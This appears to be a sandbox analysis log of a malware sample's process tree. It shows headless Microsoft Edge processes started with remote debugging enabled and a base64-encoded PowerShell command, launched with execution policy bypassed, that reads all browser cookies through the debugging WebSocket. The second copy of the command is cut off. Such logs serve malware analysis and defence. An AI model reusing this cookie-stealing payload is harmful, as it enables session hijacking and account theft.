                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2356,i,17460798170086304732,2033654197209674558,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2352 /prefetch:2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2272
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2356,i,17460798170086304732,2033654197209674558,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2812 /prefetch:11
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • System Time Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5988
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2356,i,17460798170086304732,2033654197209674558,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2200 /prefetch:13
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3260
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9824 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2356,i,17460798170086304732,2033654197209674558,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3320 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Uses browser remote debugging
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3772
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9824 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2356,i,17460798170086304732,2033654197209674558,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3332 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Uses browser remote debugging
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6732
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2356,i,17460798170086304732,2033654197209674558,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:14
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2356,i,17460798170086304732,2033654197209674558,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4820 /prefetch:14
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5796
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2356,i,17460798170086304732,2033654197209674558,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5160 /prefetch:14
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5500
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2356,i,17460798170086304732,2033654197209674558,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5160 /prefetch:14
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4480
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADMAMAAzAC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQAzADAAMwAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA="
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADMAMAAzAC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQAzADAAMwAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAa